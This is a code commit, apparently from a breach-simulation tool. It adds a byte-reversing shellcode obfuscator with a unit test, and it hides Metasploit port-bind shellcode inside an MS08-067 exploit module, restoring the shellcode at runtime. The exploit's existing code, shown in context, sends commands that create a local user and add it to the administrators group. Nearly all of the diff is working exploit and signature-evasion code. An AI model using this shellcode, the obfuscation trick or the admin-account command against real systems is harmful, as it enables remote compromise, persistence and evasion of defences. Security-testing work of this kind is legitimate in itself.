Implemented shellcode obfuscator and obfuscated shellcode in win_ms08_067.py

monkey/common/utils/shellcode_obfuscator.py

@@ -0,0 +1,23 @@
+# This code is used to obfuscate shellcode
+# Usage:
+# shellcode_obfuscator.py [your normal shellcode].
+# For example:
+# shellcode_obfuscator.py "\x52\x3d\xf6\xc9\x4b\x5d\xe0\x62\x7e\x3d\xa8\x07\x7b\x76\x30"
+# This returns "\x30\x76\x7b\x07\xa8\x3d\x7e\x62\xe0\x5d\x4b\xc9\xf6\x3d\x52"
+# Verify that it's the same shellcode, just reversed and paste it in code.
+# Then clarify it before usage to reverse it on runtime.
+
+import sys
+
+
+def obfuscate(shellcode: str) -> str:
+    shellcode = shellcode.split('\\')[::-1]
+    return '\\'+'\\'.join(shellcode)[:-1]
+
+
+def clarify(shellcode: str) -> str:
+    return shellcode[::-1]
+
+
+if __name__ == "__main__":
+    print(obfuscate(sys.argv[1]))

monkey/common/utils/test_shellcode_obfuscator.py

@@ -0,0 +1,17 @@
+from unittest import TestCase
+
+from common.utils.shellcode_obfuscator import obfuscate, clarify
+
+SHELLCODE_FROM_CMD_PARAM = '\\x52\\x3d\\xf6\\xc9\\x4b\\x5d\\xe0\\x62\\x7e\\x3d\\xa8\\x07\\x7b\\x76\\x30'
+OBFUSCATED_PARAM_OUTPUT = '\\x30\\x76\\x7b\\x07\\xa8\\x3d\\x7e\\x62\\xe0\\x5d\\x4b\\xc9\\xf6\\x3d\\x52'
+OBFUSCATED_SHELLCODE = "\x30\x76\x7b\x07\xa8\x3d\x7e\x62\xe0\x5d\x4b\xc9\xf6\x3d\x52"
+CLARIFIED_SHELLCODE = "\x52\x3d\xf6\xc9\x4b\x5d\xe0\x62\x7e\x3d\xa8\x07\x7b\x76\x30"
+
+
+class TestShellcodeObfuscator(TestCase):
+
+    def test_obfuscate(self):
+        self.assertEqual(obfuscate(SHELLCODE_FROM_CMD_PARAM), OBFUSCATED_PARAM_OUTPUT)
+
+    def test_clarify(self):
+        self.assertEqual(clarify(OBFUSCATED_SHELLCODE), CLARIFIED_SHELLCODE)

monkey/infection_monkey/exploit/win_ms08_067.py

@@ -14,6 +14,7 @@ from logging import getLogger
 from impacket import uuid
 from impacket.dcerpc.v5 import transport
 
+from common.utils.shellcode_obfuscator import clarify
 from infection_monkey.exploit.HostExploiter import HostExploiter
 from infection_monkey.exploit.tools.helpers import (build_monkey_commandline,
                                                     get_monkey_depth,
@@ -27,29 +28,27 @@ from infection_monkey.network.tools import check_tcp_port
 LOG = getLogger(__name__)
 
 # Portbind shellcode from metasploit; Binds port to TCP port 4444
-SHELLCODE = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
-SHELLCODE += "\x29\xc9\x83\xe9\xb0\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\xe9"
-SHELLCODE += "\x4a\xb6\xa9\x83\xee\xfc\xe2\xf4\x15\x20\x5d\xe4\x01\xb3\x49\x56"
-SHELLCODE += "\x16\x2a\x3d\xc5\xcd\x6e\x3d\xec\xd5\xc1\xca\xac\x91\x4b\x59\x22"
-SHELLCODE += "\xa6\x52\x3d\xf6\xc9\x4b\x5d\xe0\x62\x7e\x3d\xa8\x07\x7b\x76\x30"
-SHELLCODE += "\x45\xce\x76\xdd\xee\x8b\x7c\xa4\xe8\x88\x5d\x5d\xd2\x1e\x92\x81"
-SHELLCODE += "\x9c\xaf\x3d\xf6\xcd\x4b\x5d\xcf\x62\x46\xfd\x22\xb6\x56\xb7\x42"
-SHELLCODE += "\xea\x66\x3d\x20\x85\x6e\xaa\xc8\x2a\x7b\x6d\xcd\x62\x09\x86\x22"
-SHELLCODE += "\xa9\x46\x3d\xd9\xf5\xe7\x3d\xe9\xe1\x14\xde\x27\xa7\x44\x5a\xf9"
-SHELLCODE += "\x16\x9c\xd0\xfa\x8f\x22\x85\x9b\x81\x3d\xc5\x9b\xb6\x1e\x49\x79"
-SHELLCODE += "\x81\x81\x5b\x55\xd2\x1a\x49\x7f\xb6\xc3\x53\xcf\x68\xa7\xbe\xab"
-SHELLCODE += "\xbc\x20\xb4\x56\x39\x22\x6f\xa0\x1c\xe7\xe1\x56\x3f\x19\xe5\xfa"
-SHELLCODE += "\xba\x19\xf5\xfa\xaa\x19\x49\x79\x8f\x22\xa7\xf5\x8f\x19\x3f\x48"
-SHELLCODE += "\x7c\x22\x12\xb3\x99\x8d\xe1\x56\x3f\x20\xa6\xf8\xbc\xb5\x66\xc1"
-SHELLCODE += "\x4d\xe7\x98\x40\xbe\xb5\x60\xfa\xbc\xb5\x66\xc1\x0c\x03\x30\xe0"
-SHELLCODE += "\xbe\xb5\x60\xf9\xbd\x1e\xe3\x56\x39\xd9\xde\x4e\x90\x8c\xcf\xfe"
-SHELLCODE += "\x16\x9c\xe3\x56\x39\x2c\xdc\xcd\x8f\x22\xd5\xc4\x60\xaf\xdc\xf9"
-SHELLCODE += "\xb0\x63\x7a\x20\x0e\x20\xf2\x20\x0b\x7b\x76\x5a\x43\xb4\xf4\x84"
-SHELLCODE += "\x17\x08\x9a\x3a\x64\x30\x8e\x02\x42\xe1\xde\xdb\x17\xf9\xa0\x56"
-SHELLCODE += "\x9c\x0e\x49\x7f\xb2\x1d\xe4\xf8\xb8\x1b\xdc\xa8\xb8\x1b\xe3\xf8"
-SHELLCODE += "\x16\x9a\xde\x04\x30\x4f\x78\xfa\x16\x9c\xdc\x56\x16\x7d\x49\x79"
-SHELLCODE += "\x62\x1d\x4a\x2a\x2d\x2e\x49\x7f\xbb\xb5\x66\xc1\x19\xc0\xb2\xf6"
-SHELLCODE += "\xba\xb5\x60\x56\x39\x4a\xb6\xa9"
+OBFUSCATED_SHELLCODE = ("\xa9\xb6\x4a\x39\x56\x60\xb5\xba\xf6\xb2\xc0\x19\xc1\x66\xb5\xbb\x7f\x49\x2e"
+                        "\x2d\x2a\x4a\x1d\x62\x79\x49\x7d\x16\x56\xdc\x9c\x16\xfa\x78\x4f\x30\x04\xde"
+                        "\x9a\x16\xf8\xe3\x1b\xb8\xa8\xdc\x1b\xb8\xf8\xe4\x1d\xb2\x7f\x49\x0e\x9c\x56"
+                        "\xa0\xf9\x17\xdb\xde\xe1\x42\x02\x8e\x30\x64\x3a\x9a\x08\x17\x84\xf4\xb4\x43"
+                        "\x5a\x76\x7b\x0b\x20\xf2\x20\x0e\x20\x7a\x63\xb0\xf9\xdc\xaf\x60\xc4\xd5\x22"
+                        "\x8f\xcd\xdc\x2c\x39\x56\xe3\x9c\x16\xfe\xcf\x8c\x90\x4e\xde\xd9\x39\x56\xe3"
+                        "\x1e\xbd\xf9\x60\xb5\xbe\xe0\x30\x03\x0c\xc1\x66\xb5\xbc\xfa\x60\xb5\xbe\x40"
+                        "\x98\xe7\x4d\xc1\x66\xb5\xbc\xf8\xa6\x20\x3f\x56\xe1\x8d\x99\xb3\x12\x22\x7c"
+                        "\x48\x3f\x19\x8f\xf5\xa7\x22\x8f\x79\x49\x19\xaa\xfa\xf5\x19\xba\xfa\xe5\x19"
+                        "\x3f\x56\xe1\xe7\x1c\xa0\x6f\x22\x39\x56\xb4\x20\xbc\xab\xbe\xa7\x68\xcf\x53"
+                        "\xc3\xb6\x7f\x49\x1a\xd2\x55\x5b\x81\x81\x79\x49\x1e\xb6\x9b\xc5\x3d\x81\x9b"
+                        "\x85\x22\x8f\xfa\xd0\x9c\x16\xf9\x5a\x44\xa7\x27\xde\x14\xe1\xe9\x3d\xe7\xf5"
+                        "\xd9\x3d\x46\xa9\x22\x86\x09\x62\xcd\x6d\x7b\x2a\xc8\xaa\x6e\x85\x20\x3d\x66"
+                        "\xea\x42\xb7\x56\xb6\x22\xfd\x46\x62\xcf\x5d\x4b\xcd\xf6\x3d\xaf\x9c\x81\x92"
+                        "\x1e\xd2\x5d\x5d\x88\xe8\xa4\x7c\x8b\xee\xdd\x76\xce\x45\x30\x76\x7b\x07\xa8"
+                        "\x3d\x7e\x62\xe0\x5d\x4b\xc9\xf6\x3d\x52\xa6\x22\x59\x4b\x91\xac\xca\xc1\xd5"
+                        "\xec\x3d\x6e\xcd\xc5\x3d\x2a\x16\x56\x49\xb3\x01\xe4\x5d\x20\x15\xf4\xe2\xfc"
+                        "\xee\x83\xa9\xb6\x4a\xe9\x0e\x76\x81\x5e\xc0\xff\xff\xff\xff\xe8\xb0\xe9\x83"
+                        "\xc9\x29\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90")
+
+SHELLCODE = clarify(OBFUSCATED_SHELLCODE)
 
 # Payload for Windows 2000 target
 PAYLOAD_2000 = '\x41\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00'
@@ -198,9 +197,9 @@ class Ms08_067_Exploiter(HostExploiter):
 
                 sock.send("cmd /c (net user {} {} /add) &&"
                           " (net localgroup administrators {} /add)\r\n".format(
-                            self._config.user_to_add,
-                            self._config.remote_user_pass,
-                            self._config.user_to_add).encode())
+                    self._config.user_to_add,
+                    self._config.remote_user_pass,
+                    self._config.user_to_add).encode())
                 time.sleep(2)
                 reply = sock.recv(1000)